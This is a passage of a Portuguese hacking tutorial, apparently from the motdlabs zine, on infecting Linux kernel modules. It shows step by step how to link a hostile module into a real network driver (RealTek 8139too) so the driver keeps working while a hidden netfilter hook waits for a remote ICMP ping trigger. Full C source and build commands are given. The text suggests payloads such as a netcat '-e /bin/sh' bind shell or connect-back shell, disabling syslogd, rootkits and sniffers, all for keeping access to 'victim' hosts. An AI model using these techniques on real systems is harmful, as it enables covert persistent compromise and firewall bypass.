Compile o codigo e carregue o modulo:

    #gcc -O3 -c infector.c
    #insmod infector.o

A seguinte mensagem deve aparecer em ‘/var/log/alert’:

Nov 14 17:36:29 matrix kernel:  Iniciando funcoes do modulo injetado

Por enquanto, tudo que temos sao dois modulos separados (note que a uni-
ca coisa que os modulos estao fazendo ate agora e’ exibir mensagens no arquivo
de log. Leve em conta o seguinte:

- As funcoes do driver_original.o ja existem, como codigo do modulo do sistema
que futuramente sera infectado. Poderiamos estar usando como exemplos o codigo
de um driver real, mas isso apenas complicaria de forma desnecessaria a explana-
cao de como podemos efetuar a infeccao;
- As nossas funcoes – backdoors, rootkits, etc – serao adicionadas em breve
(por voce, obvio, apenas sera mostrado que e’ possivel fazer e como poderia
ser feito).

Voltando ao que vale, o que precisamos fazer agora, e’ injetar o modulo
infector.o dentro do modulo driver_original.o. Para isso, podemos utilizar o
GNU Linker (ld):

||    “ld  combines  a  number of object and archive files,
||    relo­cates their data and ties up  symbol  references.
||    Usually the last step in compiling a program is to run
||    ld.”

Para injetar o codigo do infector.o dentro do driver_original.o, podemos
fazer da seguinte forma:

    #ld -r -z muldefs infector.o driver_original.o -o devil.o

Basicamente o que e’ feito aqui e’ uma injecao da funcao ‘int init_modu-
le(void)’ (a unica) do modulo infector.o para o modulo driver_original.o, crian-
do um novo modulo, chamado devil.o. O codigo do driver_original.o deve ter fica-
do parecido com o seguinte:

/** driver_original_infectado */
#define MODULE
#define __KERNEL__

#include <linux/kernel.h>
#include <linux/module.h>

static int __init inicio(void)
{
  printk ("<1> Iniciando driver_original \n");
  printk ("<1> Executando funcoes iniciais\n");   
  printk ("<1> Modulo carregado e aguardando chamada a suas funcoes\n\n");
  return 0;
}

static void __exit fim(void)
{
  printk ("<1> Finalizando modulo orignal \n");
}

module_init(inicio);
module_exit(fim);
MODULE_LICENSE("GPL");

int init_module(void)
{
  printk ("<1> Iniciando funcoes do modulo injetado\n");
  return 0;
}
/** fim de driver_original_infectado */

Apos carregar ele (#insmod devil.o), o seguinte e’ visto em ‘/var/log/alert’:

Nov 14 18:34:42 matrix kernel:  Iniciando funcoes do modulo injetado

Esta funcionando, mas nao perfeitamente, ainda. Alguns detalhes devem
ser observados. Um pouco de teoria:

Em um LKM, a primeira funcao a ser executada e’ a init_module() OU algu-
ma funcao passada como argumento para a macro module_init() (que no caso do
driver_original.c, foi a funcao ‘inicio’). A macro module_init() esta declarada
em ‘/usr/src/linux/include/linux/init.h’:

|| /**
||  * module_init() - driver initialization entry point
||  * @x: function to be run at kernel boot time or module insertion
||  *
||  * module_init() will add the driver initialization routine in
||  * the "__initcall.int" code segment if the driver is checked as
||  * "y" or static, or else it will wrap the driver initialization
||  * routine with init_module() which is used by insmod and
||  * modprobe when the driver is used as a module.
|| */
|| #define module_init(x)  __initcall(x);

Se observar, vera que no codigo teria tanto a funcao “module_init” quanto
a “init_module”. Entao, caso o codigo acima fosse compilado, ocorreria um erro:

    error: redefinition of `init_module'
    error: `init_module' previously defined here

O mesmo ocorreria se eles fossem  compilados separados e  posteriomente
linkados. Para contornar este problema, compilamos os arquivos separadamentes e
linkamos,  passando o argumento ‘-z muldefs’ para o ld,  informando a ele para
aceitar definicoes multiplas de uma mesma funcao. Desta forma podemos substituir
(sobreescrever) a funcao ‘module_init(inicio)’, que inicializa o driver_original
.o, pela funcao init_module() do modulo infector.o.

Dessa forma teriamos o nosso modulo injetado dentro do modulo que esta-
mos tentando infectar. So tem um detalhe: A funcao ‘module_init(inicio)’ que se-
ra sobreescrita contem codigo que pode ser essencial para o modulo, em sua ver-
sao nao infectada (aqui o codigo original apenas exibe mensagens, mas normalmen-
te nao e’ apenas isso que ocorre), e deve continuar sendo executado.  Para que
tudo funcione corretamente, basta que o modulo infector.o, em sua inicializacao,
execute uma chamada para a funcao inicio() do modulo driver_original.o.
Complicou? Observe:

<++> lkm_injection/infector2.c
/*
 * Simples exemplo de modulo (note que tem apenas a funcao init_module, ou
 * seja, so executa alguma funcao durante o carregamento dele), que sera
 * utilizado para ser injetado em um outro modulo. Apos carregado, executa funcao
 * principal do modulo infectado
 */
#define MODULE
#define __KERNEL__

#include <linux/kernel.h>
#include <linux/module.h>

int init_module(void)
{
  printk ("<1> Iniciando funcoes do modulo injetado\n");
  printk ("<1> ***inicializando modulo original*** \n\n");
  inicio (); // funcao inicio do driver_original, chamada para
             // inicializacao dele
  return 0;
}
<--> lkm_injection/infector2.c

Compilamos o novo modulo e linkamos com o modulo original, criando um outro
modulo, chamado devil.o:

    # gcc -O3 -c infector2.c
    # ld -r -z muldefs infector2.o driver_original.o -o devil.o

Apos carregar o modulo (#rmmod devil; insmod devil.o), vemos o seguinte em
‘/var/log/alert’:

Nov 14 18:39:24 matrix kernel:  Iniciando funcoes do modulo injetado
Nov 14 18:39:24 matrix kernel:  ***inicializando modulo original***
Nov 14 18:39:24 matrix kernel:  Iniciando driver_original
Nov 14 18:39:24 matrix kernel:  Executando funcoes iniciais
Nov 14 18:39:24 matrix kernel:  Modulo carregado e aguardando chamada a
suas funcoes

Exatamente o que e’ necessario:
- Nosso modulo e’ executado, fazendo o que precisa;
- Nosso modulo chama a funcao original do modulo que foi infectado;
- Modulo original funciona normalmente, como se nada tivesse acontecido.
So precisamos de algum codigo util para ser executado e algum modulo para
servir de hospedeiro!

–=[ Localizando o Hospedeiro

Como dito anteriormente, a primeira funcao a ser executada em um modulo
pode ser tanto module_init(FUNCAO), quanto  init_module(). No caso da infeccao
de um modulo que seja inicializado por  module_init(FUNCAO), so precisamos nos
certificar que o codigo que infectou o modulo original faca uma chamada para
‘FUNCAO’, garantindo assim que tudo que deve ser executado por ele ao ser car-
regado realmente sera executado. Agora, no caso da infeccao de um modulo que e’
inicializado por init_module(), a situacao e’ diferente. E’ necessario literal-
mente reescrever o init_module() do modulo original dentro do  modulo que  ira
causar a  infeccao. Isto  pode  ser  um  tanto chato de se fazer, dependendo do
tamanho da funcao de inicializacao. Por este simples motivo, sera dado preferen-
cia aos modulos que sejam inicializados por module_init(FUNCAO).

Decidir qual modulo utilizar nao deve ser uma tarefa muito complicada.
Vamos levar em consideracao o seguinte:

- Para que possamos acessar uma maquina remota, ela obviamente esta conectada
a rede atraves de algum dispositivo, que normalmente e’ uma interface de rede
(ethernet);
- Para que a interface de rede possa ser utilizada, e’ necessaria a utilizacao
de algum tipo de driver;
- A maioria das distribuicoes de linux atualmente, colocam os drivers de
interfaces de rede como modulos;

Com estas informacoes, conclui-se que e’ bastante interessante a infec-
cao de um driver de interface de rede (se a maquina nao carregar este modulo a
cada inicializacao do sistema,  ela nao tera  acesso a rede e nos nao teremos
acesso a ela de qualquer forma, por isso a escolha).

Outro detalhe que vale observar e’ que muitas maquinas costumam utilizar
placas de rede comuns (realtek, sis900, 3com), assim utilizam os mesmos modulos
(sistemas diferentes utilizando modulos iguais), o que facilitaria bastante a
escrita de nosso codigo de infeccao. Vamos dar uma observada no codigo destes
modulos controladores de dispositivos de rede:

|| /** realtek 8139 */
|| /*
||   8139too.c: A RealTek RTL-8139 Fast Ethernet driver for Linux.
||    Maintained by Jeff Garzik <jgarzik@pobox.com>
||   Copyright 2000-2002 Jeff Garzik
|| */
|| ...
|| muito codigo
|| ...
|| module_init(rtl8139_init_module);
|| module_exit(rtl8139_cleanup_module);
|| /** fim de realtek 8139 */

|| /** sis900 */
|| /* sis900.c: A SiS 900/7016 PCI Fast Ethernet driver for Linux.
||    Copyright 1999 Silicon Integrated System Corporation
||    Revision: 1.08.06 Sep. 24 2002
||       
||    Modified from the driver which is originally written by Donald Becker.
|| */
|| ...
|| muito codigo
|| ...
|| module_init(sis900_init_module);
|| module_exit(sis900_cleanup_module);
|| /** fim de sis900 */

|| /** ne2k */
|| /* ne2k-pci.c: A NE2000 clone on PCI bus driver for Linux. */
|| /*
||  A Linux device driver for PCI NE2000 clones.
|| */
|| ...
|| muito codigo
|| ...
|| module_init(ne2k_pci_init);
|| module_exit(ne2k_pci_cleanup);
|| /** ne2k */

O codigo completo dos arquivos esta em ‘/usr/src/linux/drivers/net’.
Nota alguma semelhanca entre o codigo desses drivers e o codigo do
“driver_original.c”? Observa-se que muitos destes drivers estao codificados de
forma a facilitar o nosso trabalho. Tendo entao alguns hospedeiros selecionados,
vamos juntar alguns codigos interessantes para injetar neles.

–=[ Colocando Algum Codigo Util

Agora que ja sabemos como fazer, precisamos decidir o que fazer. Algumas
ideias:

- Uma backdoor;
- Um logcleanner;
- Um rootkit;
- Um sninffer;
- Qualquer coisa que voce tiver ideia! Voce esta no comando.

Com as ferramentas em maos, vamos ver uma pseudo-implementacao de algum
codigo realmente util. O codigo a seguir e’ uma LKM que contem um codigo inofen-
sivo, ate que o kernel manipule um pacote ICMP de 50 bytes (em outras palavras,
o codigo nocivo da LKM e’ ativado por um PING remoto de 50 bytes, que pode ser
feito assim: $ping -s 22 ip.da.vitima). Isso e’ feito com a criacao de um hook
no netfilter, que e’ adicionado antes de outras possiveis regras que  poderiam
ter sido criadas para bloquear pacotes ICMP, ou seja, voce pode com isso passar
por um conjunto de regras que tornaria a vitima inacessivel. E mais, voce pode
criar regras on-the-fly,  para permitir que a maquina que enviou o pacote ICMP
tenha acesso irrestrito. Resumindo, voce pode inutilizar as regras que tenham
sido criadas.

Para execucao, e’ possivel colocar o que quiser: uma backdoor (que tal
executar o netcat ouvindo em uma porta X e passar a opcao “-e /bin/sh” para ele?
Uma root shell sem muito esforco), uma backdoor em connect-back  (que tal esse
mesmo netcat se conectar no ip de quem enviou o pacote ICMP), desativar o syslo-
gd enquanto o ip de quem enviou o pacote  ICMP estiver se comunicando com a ma-
quina, etc. Observe que, se receber 50 pacotes do tamanho especifico, o codigo
nocivo sera executado 50 vezes, o que nao sera bom na maioria dos casos.  No
exemplo, apenas exibe uma mensagem, entao nao teremos problemas. Tenha isso em
mente no momento que for implementar algo e controle a execucao do codigo noci-
vo. Segue a implementacao:

<++> lkm_injection/injekt.c
/*
 * Implementacao de lkm com codigo nocivo ativado remotamente,
 * atraves do recebimento de um pacote ICMP de 50 bytes, que pode
 * ser alterado passando o parametro pkt_size:
 * #insmod injekt.o pkt_size=100
 *
 */
#define __KERNEL__
#define MODULE

#define P_SIZE_OFFSET 28

#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/ip.h>
#include <linux/net.h>
#include <linux/in.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
#include <linux/netdevice.h>

/* declaracoes de variaveis e prototipo de funcoes  */
int exec_injetk(void);
unsigned int pkt_size = 22;
struct nf_hook_ops nfh;
unsigned int i_ll_hook_you(unsigned int hooknum,
                            struct sk_buff **skb,
                            const struct net_device *in,
                            const struct net_device *out,
                            int (*okfn)(struct sk_buff*));

/* funcao principal do modulo */
int __init init_injekt()
{
    printk ( "<1> Inicializando : icmp_pkt_size:  " \
                 "%i bytes\n\n", pkt_size + P_SIZE_OFFSET);

    /* informacoes para registrar o hook do netfilter */
    nfh.hooknum  = NF_IP_LOCAL_IN;
    nfh.priority = NF_IP_PRI_FIRST;
    nfh.hook     = i_ll_hook_you;
    nfh.pf       = PF_INET;

    /* a hook e' criada */
    nf_register_hook(&nfh);

    return 0;
}

/* funcao de saida do modulo */
void __exit exit_injekt ( )
{
    /* remove a hook */   
    nf_unregister_hook( &nfh );
}

/* O que sera feito quando receber o pacote ICMP do tamanho especificado  */
int i_am_terrible( )
{
    printk ( "<1> EU SOU UMA LKM DO MAU!!!\n\n" );
    return 0;
}

/* aqui temos a hook propriamente dita */
unsigned int i_ll_hook_you (
            unsigned int hooknum,
                    struct sk_buff **skb,
                    const struct net_device *in,
                    const struct net_device *out,
                    int (*okfn)(struct sk_buff * ) ) {

    struct sk_buff *sk = *skb;
    /* verifica se o protocolo e' icmp e o tamanho do pacote e' o especificado */
    if ( sk->nh.iph->protocol == IPPROTO_ICMP &&
         sk->len == P_SIZE_OFFSET + pkt_size ) {
        /* informa que recebeu o pacote */
    //printk ( "<1> Recebido pacote de %i bytes )\n\n", sk->len );
    i_am_terrible();
    return NF_STOLEN; /* elimina o pacote! */
    }
    return NF_ACCEPT; /* retorna o pacote para ser feito o que for preciso */
}

/* informacoes do modulo */
module_init ( init_injekt );
module_exit ( exit_injekt );
MODULE_PARM ( pkt_size, "i" );
MODULE_PARM_DESC ( pkt_size, "Tamanho de pacote ICMP  ( Padrao = 50 )" );
MODULE_LICENSE ( "GPL" );
MODULE_AUTHOR  ( "tDs <tds@motdlabs.org>" );
MODULE_DESCRIPTION ( ":: keep your mind free() ::" );
<--> lkm_injection/injekt.c

–=[ Cenario Real: Infectando um Driver

Vamos utilizar como exemplo o driver 8139too.o, que normalmente esta em
“/lib/module/kernel_versao/kernel/drivers/net/8139too.o.gz”. Note que ele esta
compactado (na maioria das distribuicoes),  entao nao tente injetar seu modulo
sem antes descompactar.  O codigo que sera injetado e’ o que foi exposto acima,
levemente modificado (embora continue fazendo nada mais do que exibir mensagens).
Segue o codigo:

<++>lkm_injection/8139injekt.c
/*
 * Implementacao de lkm com codigo nocivo ativado remotamente,
 * atraves do recebimento de um pacote ICMP de 50 bytes, que pode
 * ser alterado passando o parametro pkt_size:
 * #insmod 8139injekt.o pkt_size=100
 * preparado para infectar driver da placa de rede realtek 8139too
 * /lib/modules/2.4.x/kernel/drivers/net/8139too.o.gz
 *
 */
#define __KERNEL__
#define MODULE

#define P_SIZE_OFFSET 28

#include <linux/config.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/ip.h>
#include <linux/net.h>
#include <linux/in.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
#include <linux/netdevice.h>
#include <linux/pci.h>

int exec_injetk(void);
extern RTL8139_DRIVER_NAME;
extern rtl8139_pci_driver;
//extern pci_module_init();
unsigned int pkt_size = 22;
struct nf_hook_ops nfh;
unsigned int i_ll_hook_you(unsigned int hooknum,
                            struct sk_buff **skb,
                            const struct net_device *in,
                            const struct net_device *out,
                            int (*okfn)(struct sk_buff*));

int init_module()
{
    /* codigo do driver original */
        /* when we're a module, we always print a version message,
         * even if no 8139 board is found.
         */
#ifdef MODULE
        printk("<8> %s \n", RTL8139_DRIVER_NAME);
#endif

    nfh.hooknum  = NF_IP_LOCAL_IN;
    nfh.priority = NF_IP_PRI_FIRST;
    nfh.hook     = i_ll_hook_you;
    nfh.pf       = PF_INET;
    nf_register_hook(&nfh);

    /* codigo do driver original */
    return pci_module_init(&rtl8139_pci_driver);
}

void cleanup_module ( )
{
    /* remove a hook */
    nf_unregister_hook( &nfh );
    /* codigo do driver original */
    pci_unregister_driver(&rtl8139_pci_driver);
}
int i_am_terrible( )
{
    printk ( "<1> EU SOU UMA LKM DO MAU!!!\n\n" );
    return 0;
}
unsigned int i_ll_hook_you (
            unsigned int hooknum,
                    struct sk_buff **skb,
                    const struct net_device *in,
                    const struct net_device *out,
                    int (*okfn)(struct sk_buff * ) ) {
    struct sk_buff *sk = *skb;
    if ( sk->nh.iph->protocol == IPPROTO_ICMP &&
         sk->len == P_SIZE_OFFSET + pkt_size ) {
    i_am_terrible();
    return NF_STOLEN;
    }
    return NF_ACCEPT;
}
MODULE_PARM ( pkt_size, "i" );
MODULE_PARM_DESC ( pkt_size, "Tamanho de pacote ICMP  ( Padrao = 50 )" );
<-->lkm_injection/8139injekt.c

Compile e linke o modulo. Apos linkar, sera exibida uma mensagem de
advertencia:

    # gcc -O3 -c 8139injekt.c
    # ld -r -z muldefs 8139inject.o 8139too.o -o devil.o
    ld: Warning: size of symbol `init_module' changed from 139 in badcode.o
    to 70 in 8139too.o
    ld: Warning: size of symbol `cleanup_module' changed from 32 in badcode.o
    to 12 in 8139too.o
    # modinfo devil.o
    filename:    devil.o
    description: "RealTek RTL-8139 Fast Ethernet driver"
    author:      "Jeff Garzik <jgarzik@pobox.com>"
    license:     "GPL"
    parm:        pkt_size int, description "Tamanho de pacote ICMP 
                 ( Padrao = 50 )"
    parm:        multicast_filter_limit int, description "8139too maximum number
                 of filtered multicast addresses"
    parm:        max_interrupt_work int, description "8139too maximum events
                 handled per interrupt"
    parm:        media int array (min = 1, max = 8), description "8139too: Bits
                 4+9: force full duplex, bit 5: 100Mbps"
    parm:        full_duplex int array (min = 1, max = 8), description "8139too:
                 Force full duplex for board(s) (1)"
    parm:        debug int, description "8139too bitmapped message enable number"

Observe que o modulo agora contem o parametro que definimos anteriormen-
te, em nosso modulo. Apos carregar o modulo, o hook do netfilter que foi criada
estara disponivel e, para ativar a nossa funcao “i_am_terrible”, basta um
“ping -s 22 ip.da.vitima”. Note que o PING nao vai retornar resposta, visto que
o pacote sera descartado no hook. Entretanto, funcionara perfeitamente. Ultima
observacao: Nao tente fazer isso com um driver de um dispositivo nao presente
na maquina, os resultados podem ser desastrosos ( panic() ).

Muito pode ser feito com infeccao de modulo, embora pessoas com maior
conhecimento normalmente utilizam-se de outros meios para manter acesso em
hosts previamente dominados. A utilizacao de modulos para esse fim pode ser
bastante efetiva e ao mesmo tempo muito simples de ser implemtentada.

–=[ Agradecimentos e Links/Referencias

Pessoal da scene brasileira toda, em especial ao pessoal que converso
com maior frequencia. Voces sabem quem sao voces.
Informacao e’ simples de se adquirir, internet esta cheia disso. Basta saber
procurar.

http://www.motdlabs.org
http://tds.motdlabs.org
http://gcc.gnu.org/onlinedocs/gcc-3.4.4/gcc/
http://www.gnu.org/software/binutils/manual/ld-2.9.1/html_chapter/ld_toc.html
http://www.netfilter.org/

_EOF_

Fonte